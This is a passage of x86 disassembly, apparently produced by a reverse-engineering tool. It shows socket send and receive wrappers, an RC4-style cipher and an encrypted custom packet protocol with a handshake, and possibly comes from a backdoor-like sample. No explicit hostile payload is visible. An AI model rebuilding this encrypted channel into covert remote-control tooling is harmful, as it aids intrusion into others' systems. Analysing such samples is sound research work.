call sub_448551
add esp, 0Ch
mov [ebp+var_10], 2
mov [ebp+var_14], 10h
lea edi, [ebp+var_10]
lea eax, [ebp+var_14]
push eax
push edi
push [ebp+arg_0]
call sub_447C71 ; accept
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_44263F
xor eax, eax
jmp short loc_442656
; ---------------------------------------------------------------------------
loc_44263F: ; CODE XREF: sub_4425ED+4Cj
mov edx, [ebp+arg_4]
mov eax, [ebp+var_C]
mov [edx], eax
movzx eax, [ebp+var_E]
push eax
call sub_447C77 ; htons
mov [ebx], ax
mov eax, esi
loc_442656: ; CODE XREF: sub_4425ED+50j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4425ED endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44265D proc near ; CODE XREF: sub_442B2D+44p
; sub_442B2D+A3p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ebx, [ebp+arg_4]
mov edi, [ebp+arg_8]
jmp short loc_442688
; ---------------------------------------------------------------------------
loc_44266B: ; CODE XREF: sub_44265D+2Dj
push 0
push [ebp+arg_8]
push ebx
push [ebp+arg_0]
call sub_447C7D ; recv
mov esi, eax
test esi, esi
jg short loc_442684
or eax, 0FFFFFFFFh
jmp short loc_44268F
; ---------------------------------------------------------------------------
loc_442684: ; CODE XREF: sub_44265D+20j
sub edi, esi
add ebx, esi
loc_442688: ; CODE XREF: sub_44265D+Cj
test edi, edi
jg short loc_44266B
mov eax, [ebp+arg_8]
loc_44268F: ; CODE XREF: sub_44265D+25j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_44265D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_442694 proc near ; CODE XREF: sub_44352A+1E3p
; sub_443817+149p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ebx, [ebp+arg_8]
mov edi, ebx
xor ebx, ebx
jmp short loc_4426C3
; ---------------------------------------------------------------------------
loc_4426A3: ; CODE XREF: sub_442694+31j
push 0
push ebx
push [ebp+arg_4]
push [ebp+arg_0]
call sub_447C7D ; recv
mov esi, eax
test esi, esi
jle short loc_4426C7
sub edi, esi
mov eax, [ebp+arg_4]
add eax, esi
mov [ebp+arg_4], eax
add ebx, esi
loc_4426C3: ; CODE XREF: sub_442694+Dj
test edi, edi
jg short loc_4426A3
loc_4426C7: ; CODE XREF: sub_442694+21j
mov eax, ebx
pop edi
pop esi
pop ebx
pop ebp
retn
sub_442694 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ebx, [ebp+10h]
mov edi, ebx
xor ebx, ebx
jmp short loc_4426FD
; ---------------------------------------------------------------------------
loc_4426DD: ; CODE XREF: DMN1:004426FFj
push 0
push ebx
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_447C7D ; recv
mov esi, eax
test esi, esi
jle short loc_442701
sub edi, esi
mov eax, [ebp+0Ch]
add eax, esi
mov [ebp+0Ch], eax
add ebx, esi
loc_4426FD: ; CODE XREF: DMN1:004426DBj
test edi, edi
jg short loc_4426DD
loc_442701: ; CODE XREF: DMN1:004426EFj
mov eax, ebx
pop edi
pop esi
pop ebx
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_442708 proc near ; CODE XREF: sub_442A5B+97p
; sub_44352A+1A4p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ebx, [ebp+arg_4]
mov edi, [ebp+arg_8]
jmp short loc_442733
; ---------------------------------------------------------------------------
loc_442716: ; CODE XREF: sub_442708+2Dj
push 0
push [ebp+arg_8]
push ebx
push [ebp+arg_0]
call sub_447C83 ; send
mov esi, eax
test esi, esi
jg short loc_44272F
or eax, 0FFFFFFFFh
jmp short loc_44273A
; ---------------------------------------------------------------------------
loc_44272F: ; CODE XREF: sub_442708+20j
sub edi, esi
add ebx, esi
loc_442733: ; CODE XREF: sub_442708+Cj
test edi, edi
jg short loc_442716
mov eax, [ebp+arg_8]
loc_44273A: ; CODE XREF: sub_442708+25j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_442708 endp
; =============== S U B R O U T I N E =======================================
sub_44273F proc near ; CODE XREF: DMN1:00442803p
; DMN1:00444BF0p ...
arg_0 = dword ptr 4
push ebx
push esi
xor esi, esi
push [esp+8+arg_0]
call sub_447C89 ; inet_addr
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_442773
push [esp+8+arg_0]
call sub_447C8F ; gethostbyname
mov esi, eax
test esi, esi
jnz short loc_44276A
or eax, 0FFFFFFFFh
jmp short loc_442775
; ---------------------------------------------------------------------------
loc_44276A: ; CODE XREF: sub_44273F+24j
mov eax, [esi+0Ch]
mov eax, [eax]
mov eax, [eax]
jmp short loc_442775
; ---------------------------------------------------------------------------
loc_442773: ; CODE XREF: sub_44273F+15j
mov eax, ebx
loc_442775: ; CODE XREF: sub_44273F+29j
; sub_44273F+32j
pop esi
pop ebx
retn
sub_44273F endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push 10h
push 0
lea eax, [ebp-10h]
push eax
call sub_448551
add esp, 0Ch
mov word ptr [ebp-10h], 2
mov dword ptr [ebp-14h], 10h
lea ebx, [ebp-10h]
lea eax, [ebp-14h]
push eax
push ebx
push dword ptr [ebp+8]
call sub_447C95 ; getsockname
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_4427B8
xor eax, eax
jmp short loc_4427D3
; ---------------------------------------------------------------------------
loc_4427B8: ; CODE XREF: DMN1:004427B2j
mov edx, [ebp+0Ch]
mov eax, [ebp-0Ch]
mov [edx], eax
movzx eax, word ptr [ebp-0Eh]
push eax
call sub_447C77 ; htons
mov edx, [ebp+10h]
mov [edx], ax
xor eax, eax
inc eax
loc_4427D3: ; CODE XREF: DMN1:004427B6j
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 404h
push ebx
push esi
mov byte ptr [ebp-400h], 0
push 400h
lea eax, [ebp-400h]
push eax
call sub_447C9B ; gethostname
lea eax, [ebp-400h]
push eax
call sub_44273F
pop ecx
mov ebx, eax
mov [ebp-404h], ebx
mov eax, [ebp-404h]
push eax
call sub_447CA1 ; inet_ntoa
mov esi, eax
push esi
lea eax, [ebp-400h]
push eax
push offset aSIsS ; "%s is %s\n"
call nullsub_4
add esp, 0Ch
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44283C proc near ; CODE XREF: sub_4429D6+14p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov edx, [ebp+arg_0]
and dword ptr [edx+400h], 0
mov edx, [ebp+arg_0]
and dword ptr [edx+404h], 0
mov ebx, [ebp+arg_0]
xor ecx, ecx
loc_44285E: ; CODE XREF: sub_44283C+2Cj
mov [ebx+ecx*4], ecx
inc ecx
cmp ecx, 100h
jl short loc_44285E
and [ebp+var_8], 0
xor edi, edi
xor ecx, ecx
loc_442872: ; CODE XREF: sub_44283C+77j
lea eax, [ebx+ecx*4]
mov [ebp+var_C], eax
mov edx, [eax]
mov [ebp+var_4], edx
add edx, edi
mov esi, [ebp+var_8]
mov eax, [ebp+arg_4]
movsx eax, byte ptr [eax+esi]
add eax, edx
movzx edi, al
mov eax, [ebx+edi*4]
mov edx, [ebp+var_C]
mov [edx], eax
mov eax, [ebp+var_4]
mov [ebx+edi*4], eax
mov eax, [ebp+var_8]
inc eax
mov [ebp+var_8], eax
cmp eax, [ebp+arg_8]
jl short loc_4428AC
and [ebp+var_8], 0
loc_4428AC: ; CODE XREF: sub_44283C+6Aj
inc ecx
cmp ecx, 100h
jl short loc_442872
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_44283C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4428BC proc near ; CODE XREF: sub_442A5B+86p
; sub_442B2D+71p ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
mov ebx, [eax+400h]
mov edi, [eax+404h]
mov ecx, eax
and [ebp+var_8], 0
jmp short loc_442923
; ---------------------------------------------------------------------------
loc_4428DC: ; CODE XREF: sub_4428BC+6Dj
lea eax, [ebx+1]
movzx ebx, al
lea eax, [ecx+ebx*4]
mov edx, [eax]
mov [ebp+var_4], edx
add edx, edi
movzx edi, dl
mov edx, [ecx+edi*4]
mov [ebp+var_C], edx
mov [eax], edx
mov eax, [ebp+var_4]
mov [ecx+edi*4], eax
mov eax, [ebp+var_8]
mov edx, [ebp+arg_4]
add eax, edx
mov [ebp+var_10], eax
movsx edx, byte ptr [eax]
mov esi, [ebp+var_4]
mov eax, [ebp+var_C]
add eax, esi
movzx eax, al
xor edx, [ecx+eax*4]
mov al, dl
mov edx, [ebp+var_10]
mov [edx], al
inc [ebp+var_8]
loc_442923: ; CODE XREF: sub_4428BC+1Ej
mov eax, [ebp+arg_8]
cmp [ebp+var_8], eax
jl short loc_4428DC
mov edx, [ebp+arg_0]
mov [edx+400h], ebx
mov edx, [ebp+arg_0]
mov [edx+404h], edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4428BC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_442944 proc near ; CODE XREF: DMN1:00444CAFp
var_1 = byte ptr -1
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push eax
push ebx
push esi
push 474h
call sub_441FC9
pop ecx
mov esi, eax
push 10020h
call sub_441FC9
pop ecx
mov [esi+46Ch], eax
mov [ebp+var_1], 5Ah
xor ebx, ebx
loc_44296E: ; CODE XREF: sub_442944+3Fj
mov al, [ebp+var_1]
mov [esi+ebx+4], al
movsx eax, [ebp+var_1]
lea eax, [ebx+eax*2]
mov [ebp+var_1], al
inc ebx
cmp ebx, 40h
jl short loc_44296E
mov [ebp+var_1], 0A5h
xor ebx, ebx
loc_44298B: ; CODE XREF: sub_442944+5Dj
mov al, [ebp+var_1]
mov [esi+ebx+44h], al
movsx eax, [ebp+var_1]
add eax, eax
sub eax, ebx
mov [ebp+var_1], al
inc ebx
cmp ebx, 20h
jl short loc_44298B
mov eax, [ebp+arg_0]
mov [esi], eax
mov eax, [esi+46Ch]
mov [esi+470h], eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_442944 endp
; =============== S U B R O U T I N E =======================================
sub_4429BC proc near ; CODE XREF: DMN1:00444F3Fp
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
push dword ptr [ebx+46Ch]
call sub_441FF7
pop ecx
push ebx
call sub_441FF7
pop ecx
pop ebx
retn
sub_4429BC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4429D6 proc near ; CODE XREF: sub_442A5B+27p
; sub_442B2D+36p
var_1 = byte ptr -1
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push eax
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
push 40h
lea eax, [ebx+4]
push eax
lea eax, [ebx+64h]
push eax
call sub_44283C
add esp, 0Ch
mov al, [ebx+4]
mov [ebp+var_1], al
push 3Fh
lea eax, [ebx+5]
push eax
lea eax, [ebx+4]
push eax
call sub_4485B1
add esp, 0Ch
mov al, [ebp+var_1]
mov [ebx+43h], al
xor esi, esi
xor edi, edi
jmp short loc_442A2E
; ---------------------------------------------------------------------------
loc_442A16: ; CODE XREF: sub_4429D6+5Bj
lea eax, [ebx+esi+4]
mov dl, [ebx+edi+44h]
add [eax], dl
lea eax, [edi+1]
mov ecx, 20h
cdq
idiv ecx
mov edi, edx
inc esi
loc_442A2E: ; CODE XREF: sub_4429D6+3Ej
cmp esi, 40h
jl short loc_442A16
mov al, [ebx+63h]
mov [ebp+var_1], al
mov esi, 1Fh
loc_442A3E: ; CODE XREF: sub_4429D6+76j
lea eax, [esi-1]
mov al, [ebx+eax+44h]
mov [ebx+esi+44h], al
dec esi
test esi, esi
jg short loc_442A3E
mov al, [ebp+var_1]
mov [ebx+44h], al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4429D6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_442A5B proc near ; CODE XREF: sub_442B10+13p
; sub_442CF7+8Cp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = word ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push eax
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
mov esi, [ebp+arg_C]
test esi, esi
jl short loc_442A74
cmp esi, 0FFFFh
jle short loc_442A7B
loc_442A74: ; CODE XREF: sub_442A5B+Fj
xor eax, eax
jmp loc_442B09
; ---------------------------------------------------------------------------
loc_442A7B: ; CODE XREF: sub_442A5B+17j
cmp [ebp+arg_10], 0
jz short loc_442A88
push ebx
call sub_4429D6
pop ecx
loc_442A88: ; CODE XREF: sub_442A5B+24j
mov edi, [ebx+46Ch]
mov word ptr [edi], 29Ah
add edi, 2
mov ax, [ebp+arg_4]
mov [edi], ax
add edi, 2
mov ax, si
mov [edi], ax
add edi, 2
test esi, esi
jz short loc_442ABA
push esi
push [ebp+arg_8]
push edi
call sub_4485B1
add esp, 0Ch
loc_442ABA: ; CODE XREF: sub_442A5B+50j
add esi, 6
push esi
movzx eax, [ebp+arg_4]
push eax
push offset aPktsendIIBytes ; "PktSend(%i): %i bytes\n"
call nullsub_4
add esp, 0Ch
cmp [ebp+arg_10], 0
jz short loc_442AE9
push esi
push dword ptr [ebx+46Ch]
lea eax, [ebx+64h]
push eax
call sub_4428BC
add esp, 0Ch
loc_442AE9: ; CODE XREF: sub_442A5B+79j
push esi
push dword ptr [ebx+46Ch]
push dword ptr [ebx]
call sub_442708
add esp, 0Ch
mov [ebp+var_4], eax
cmp [ebp+var_4], esi
jge short loc_442B06
xor eax, eax
jmp short loc_442B09
; ---------------------------------------------------------------------------
loc_442B06: ; CODE XREF: sub_442A5B+A5j
xor eax, eax
inc eax
loc_442B09: ; CODE XREF: sub_442A5B+1Bj
; sub_442A5B+A9j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_442A5B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_442B10 proc near ; CODE XREF: DMN1:00442EC8p
; DMN1:00444DCBp
arg_0 = dword ptr 8
arg_4 = word ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 1
push [ebp+arg_C]
push [ebp+arg_8]
movzx eax, [ebp+arg_4]
push eax
push [ebp+arg_0]
call sub_442A5B
add esp, 14h
pop ebp
retn
sub_442B10 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_442B2D proc near ; CODE XREF: sub_442CDC+11p
; DMN1:00442DB6p
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
mov esi, [ebp+arg_10]
mov edx, [ebp+arg_4]
mov word ptr [edx], 0
and [ebp+var_4], 0
mov eax, [ebp+arg_C]
test eax, eax
jl short loc_442B56
cmp eax, 0FFFFh
jle short loc_442B5E
loc_442B56: ; CODE XREF: sub_442B2D+20j
or eax, 0FFFFFFFFh
jmp loc_442CD5
; ---------------------------------------------------------------------------
loc_442B5E: ; CODE XREF: sub_442B2D+27j
test esi, esi
jz short loc_442B69
push ebx
call sub_4429D6
pop ecx
loc_442B69: ; CODE XREF: sub_442B2D+33j
push 2
lea eax, [ebp+var_6]
push eax
push dword ptr [ebx]
call sub_44265D
add esp, 0Ch
mov edi, eax
cmp edi, 2
jge short loc_442B90
mov edx, [ebp+arg_4]
mov word ptr [edx], 0
or eax, 0FFFFFFFFh
jmp loc_442CD5
; ---------------------------------------------------------------------------
loc_442B90: ; CODE XREF: sub_442B2D+51j
test esi, esi
jz short loc_442BA6
push 2
lea eax, [ebp+var_6]
push eax
lea eax, [ebx+64h]
push eax
call sub_4428BC
add esp, 0Ch
loc_442BA6: ; CODE XREF: sub_442B2D+65j
cmp [ebp+var_6], 29Ah
jz short loc_442BC9
movzx eax, [ebp+var_6]
push eax
push offset aPktrecvInvalid ; "PktRecv(): invalid signature (%i)\n"
call nullsub_4
pop ecx
pop ecx
mov eax, 0FFFFFFFEh
jmp loc_442CD5
; ---------------------------------------------------------------------------
loc_442BC9: ; CODE XREF: sub_442B2D+7Fj
push 2
push [ebp+arg_4]
push dword ptr [ebx]
call sub_44265D
add esp, 0Ch
mov edi, eax
cmp edi, 2
jge short loc_442BEF
mov edx, [ebp+arg_4]
mov word ptr [edx], 0
or eax, 0FFFFFFFFh
jmp loc_442CD5
; ---------------------------------------------------------------------------
loc_442BEF: ; CODE XREF: sub_442B2D+B0j
test esi, esi
jz short loc_442C04
push 2
push [ebp+arg_4]
lea eax, [ebx+64h]
push eax
call sub_4428BC
add esp, 0Ch
loc_442C04: ; CODE XREF: sub_442B2D+C4j
mov eax, [ebp+arg_4]
movzx eax, word ptr [eax]
push eax
push offset aPktrecvPacketi ; "PktRecv(): packetId: 0x%03x\n"
call nullsub_4
pop ecx
pop ecx
push 2
lea eax, [ebp+var_4]
push eax
push dword ptr [ebx]
call sub_44265D
add esp, 0Ch
mov edi, eax
cmp edi, 2
jge short loc_442C3E
mov edx, [ebp+arg_4]
mov word ptr [edx], 0
or eax, 0FFFFFFFFh
jmp loc_442CD5
; ---------------------------------------------------------------------------
loc_442C3E: ; CODE XREF: sub_442B2D+FFj
test esi, esi
jz short loc_442C54
push 2
lea eax, [ebp+var_4]
push eax
lea eax, [ebx+64h]
push eax
call sub_4428BC
add esp, 0Ch
loc_442C54: ; CODE XREF: sub_442B2D+113j
push [ebp+arg_C]
push [ebp+var_4]
push offset aProtorecvDataS ; "protorecv(): data size: %i (of %i)\n"
call nullsub_4
add esp, 0Ch
cmp [ebp+var_4], 0
jz short loc_442C8C
push [ebp+var_4]
push dword ptr [ebx+46Ch]
push dword ptr [ebx]
call sub_44265D
add esp, 0Ch
mov edi, eax
cmp edi, [ebp+var_4]
jge short loc_442C8C
or eax, 0FFFFFFFFh
jmp short loc_442CD5
; ---------------------------------------------------------------------------
loc_442C8C: ; CODE XREF: sub_442B2D+13Ej
; sub_442B2D+158j
test esi, esi
jz short loc_442CA5
push [ebp+var_4]
push dword ptr [ebx+46Ch]
lea eax, [ebx+64h]
push eax
call sub_4428BC
add esp, 0Ch
loc_442CA5: ; CODE XREF: sub_442B2D+161j
cmp [ebp+arg_8], 0
jz short loc_442CD2
mov eax, [ebp+arg_C]
cmp [ebp+var_4], eax
jle short loc_442CB9
mov eax, [ebp+arg_C]
mov [ebp+var_4], eax
loc_442CB9: ; CODE XREF: sub_442B2D+184j
mov eax, [ebp+var_4]
test eax, eax
jz short loc_442CD2
push eax
push dword ptr [ebx+46Ch]
push [ebp+arg_8]
call sub_4485B1
add esp, 0Ch
loc_442CD2: ; CODE XREF: sub_442B2D+17Cj
; sub_442B2D+191j
mov eax, [ebp+var_4]
loc_442CD5: ; CODE XREF: sub_442B2D+2Cj
; sub_442B2D+5Ej ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_442B2D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_442CDC proc near ; CODE XREF: sub_442ED2+18p
; DMN1:00444E2Ep
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 1
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_442B2D
add esp, 14h
pop ebp
retn
sub_442CDC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_442CF7 proc near ; CODE XREF: DMN1:00444D26p
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = word ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 80h
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
mov esi, [ebp+arg_8]
lea edi, [ebp+var_80]
lea edi, [ebp+var_80]
mov word ptr [edi], 1
add edi, 2
mov word ptr [edi], 9
add edi, 2
and dword ptr [edi], 0
add edi, 4
mov ax, [ebp+arg_4]
mov [edi], ax
add edi, 4
or esi, 1000h
mov ax, si
mov [edi], ax
add edi, 2
mov word ptr [edi], 40h
add edi, 2
mov word ptr [edi], 20h
add edi, 2
push 40h
lea eax, [ebx+4]
push eax
push edi
call sub_4485B1
add esp, 0Ch
add edi, 40h
push 20h
lea eax, [ebx+44h]
push eax
push edi
call sub_4485B1
add esp, 0Ch
add edi, 20h
push 0
lea eax, [ebp+var_80]
mov edx, edi
sub edx, eax
push edx
lea eax, [ebp+var_80]
push eax
push 1
push ebx
call sub_442A5B
add esp, 14h
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_442CF7 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 84h
push ebx
push esi
push edi
lea ebx, [ebp-80h]
push 0
push 80h
lea eax, [ebp-80h]
push eax
lea eax, [ebp-84h]
push eax
push dword ptr [ebp+8]
call sub_442B2D
add esp, 14h
mov esi, eax
cmp word ptr [ebp-84h], 1
jnz short loc_442DCF
cmp esi, 0Ah
jge short loc_442DFC
loc_442DCF: ; CODE XREF: DMN1:00442DC8j
cmp esi, 0Ah
jge short loc_442DE1
push offset aHandshakeRecvE ; "Handshake: recv() error\n"
call nullsub_4
pop ecx
jmp short loc_442DF5
; ---------------------------------------------------------------------------
loc_442DE1: ; CODE XREF: DMN1:00442DD2j
movzx eax, word ptr [ebp-84h]
push eax
push offset aHandshakeBadPa ; "Handshake: bad packed (%i)\n"
call nullsub_4
pop ecx
pop ecx
loc_442DF5: ; CODE XREF: DMN1:00442DDFj
xor eax, eax
jmp loc_442EB0
; ---------------------------------------------------------------------------
loc_442DFC: ; CODE XREF: DMN1:00442DCDj
lea ebx, [ebp-80h]
cmp word ptr [ebx], 1
jz short loc_442E1C
movzx eax, word ptr [ebx]
push eax
push offset aHandshakeBadVe ; "Handshake: bad version (%i)\n"
call nullsub_4
pop ecx
pop ecx
xor eax, eax
jmp loc_442EB0
; ---------------------------------------------------------------------------
loc_442E1C: ; CODE XREF: DMN1:00442E03j
add ebx, 2
mov edx, [ebp+0Ch]
movzx eax, word ptr [ebx]
mov [edx], eax
add ebx, 2
add ebx, 4
mov edx, [ebp+10h]
mov ax, [ebx]
mov [edx], ax
add ebx, 4
mov edx, [ebp+14h]
movzx eax, word ptr [ebx]
mov [edx], eax
add ebx, 2
mov ax, [ebx]
mov [ebp-82h], ax
add ebx, 2
cmp word ptr [ebp-82h], 40h
jz short loc_442E5F
xor eax, eax
jmp short loc_442EB0
; ---------------------------------------------------------------------------
loc_442E5F: ; CODE XREF: DMN1:00442E59j
mov di, [ebx]
add ebx, 2
cmp di, 20h
jz short loc_442E6F
xor eax, eax
jmp short loc_442EB0
; ---------------------------------------------------------------------------
loc_442E6F: ; CODE XREF: DMN1:00442E69j
sub esi, 10h
movzx eax, word ptr [ebp-82h]
movzx edx, di
add eax, edx
cmp esi, eax
jge short loc_442E86
xor eax, eax
jmp short loc_442EB0
; ---------------------------------------------------------------------------
loc_442E86: ; CODE XREF: DMN1:00442E80j
push 40h
push ebx
mov eax, [ebp+8]
add eax, 4
push eax
call sub_4485B1
add esp, 0Ch
add ebx, 40h
push 20h
push ebx
mov eax, [ebp+8]
add eax, 44h
push eax
call sub_4485B1
add esp, 0Ch
xor eax, eax
inc eax
loc_442EB0: ; CODE XREF: DMN1:00442DF7j
; DMN1:00442E17j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push 1
lea eax, [ebp+0Ch]
push eax
push 29Ah
push dword ptr [ebp+8]
call sub_442B10
add esp, 10h
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_442ED2 proc near ; CODE XREF: DMN1:00444D4Ep
; DMN1:00444E05p
var_4 = word ptr -4
var_2 = word ptr -2
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push eax
push ebx
mov [ebp+var_2], 0
push 1
lea eax, [ebp+var_2]
push eax
lea eax, [ebp+var_4]
push eax
push [ebp+arg_0]
call sub_442CDC
add esp, 10h
mov ebx, eax
cmp [ebp+var_4], 29Ah
jnz short loc_442F01
cmp ebx, 1
jz short loc_442F06
loc_442F01: ; CODE XREF: sub_442ED2+28j
or eax, 0FFFFFFFFh
jmp short loc_442F0A
; ---------------------------------------------------------------------------
loc_442F06: ; CODE XREF: sub_442ED2+2Dj
movzx eax, [ebp+var_2]
loc_442F0A: ; CODE XREF: sub_442ED2+32j
pop ebx
mov esp, ebp
pop ebp
retn
sub_442ED2 endp
; =============== S U B R O U T I N E =======================================
sub_442F0F proc near ; CODE XREF: sub_447672+3Ap
push ebx
push 10h
call sub_441FC9
pop ecx
mov ebx, eax
pop ebx
retn
sub_442F0F endp
; =============== S U B R O U T I N E =======================================
sub_442F1C proc near ; CODE XREF: DMN1:00442F55p
; DMN1:00443160p ...
arg_0 = dword ptr 4
push ebx
push esi
push edi
mov ebx, [esp+0Ch+arg_0]
test ebx, ebx
jz short loc_442F47
mov esi, [ebx+4]
jmp short loc_442F38
; ---------------------------------------------------------------------------
loc_442F2C: ; CODE XREF: sub_442F1C+1Ej
mov edi, esi
mov esi, [esi+8]
push edi
call sub_441FF7
pop ecx
loc_442F38: ; CODE XREF: sub_442F1C+Ej
test esi, esi
jnz short loc_442F2C
and dword ptr [ebx], 0
and dword ptr [ebx+4], 0
and dword ptr [ebx+8], 0
loc_442F47: ; CODE XREF: sub_442F1C+9j
pop edi
pop esi
pop ebx
retn
sub_442F1C endp
; ---------------------------------------------------------------------------
push ebx
mov ebx, [esp+8]
test ebx, ebx
jz short loc_442F62
push ebx
call sub_442F1C
pop ecx
push ebx
call sub_441FF7
pop ecx
loc_442F62: ; CODE XREF: DMN1:00442F52j
pop ebx
retn
; =============== S U B R O U T I N E =======================================
sub_442F64 proc near ; CODE XREF: DMN1:004452FEp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = word ptr 0Ch
push ebx
mov ecx, [esp+4+arg_4]
mov bx, [esp+4+arg_8]
mov eax, [esp+4+arg_0]
mov edx, [eax+4]
jmp short loc_442F8B
; ---------------------------------------------------------------------------
loc_442F77: ; CODE XREF: sub_442F64+29j
cmp [edx+4], ecx
jnz short loc_442F88
test bx, bx
jz short loc_442F86
cmp [edx], bx
jnz short loc_442F88
loc_442F86: ; CODE XREF: sub_442F64+1Bj
jmp short loc_442F8F
; ---------------------------------------------------------------------------
loc_442F88: ; CODE XREF: sub_442F64+16j
; sub_442F64+20j
mov edx, [edx+8]
loc_442F8B: ; CODE XREF: sub_442F64+11j
test edx, edx
jnz short loc_442F77
loc_442F8F: ; CODE XREF: sub_442F64:loc_442F86j
mov eax, edx
pop ebx
retn
sub_442F64 endp
; ---------------------------------------------------------------------------
push ebx
push esi
mov ebx, [esp+0Ch]
push 14h
call sub_441FC9
pop ecx
mov esi, eax
mov eax, [ebx+4]
mov [esi+8], eax
mov [ebx+4], esi
cmp dword ptr [ebx], 0
jnz short loc_442FB3
mov [ebx], esi
loc_442FB3: ; CODE XREF: DMN1:00442FAFj
inc dword ptr [ebx+8]
mov eax, [esp+10h]
mov [esi+4], eax
mov ax, [esp+14h]
mov [esi], ax
mov eax, esi
pop esi
pop ebx
retn
; =============== S U B R O U T I N E =======================================
sub_442FCA proc near ; CODE XREF: DMN1:00443177p
; sub_444B07+43p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = word ptr 0Ch
push ebx
push esi
mov ebx, [esp+8+arg_0]
push 14h
call sub_441FC9
pop ecx
mov esi, eax
cmp dword ptr [ebx], 0
jz short loc_442FE8
mov edx, [ebx]
mov [edx+8], esi
mov [ebx], esi
jmp short loc_442FED
; ---------------------------------------------------------------------------
loc_442FE8: ; CODE XREF: sub_442FCA+13j
mov [ebx], esi
mov [ebx+4], esi
loc_442FED: ; CODE XREF: sub_442FCA+1Cj
inc dword ptr [ebx+8]
mov eax, [esp+8+arg_4]
mov [esi+4], eax
mov ax, [esp+8+arg_8]
mov [esi], ax
mov eax, esi
pop esi
pop ebx
retn
sub_442FCA endp
; =============== S U B R O U T I N E =======================================
sub_443004 proc near ; CODE XREF: DMN1:0044311Bp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = word ptr 0Ch
push ebx
push esi
push edi
mov bx, [esp+0Ch+arg_8]
xor edi, edi
mov eax, [esp+0Ch+arg_0]
mov esi, [eax+4]
jmp short loc_443031
; ---------------------------------------------------------------------------
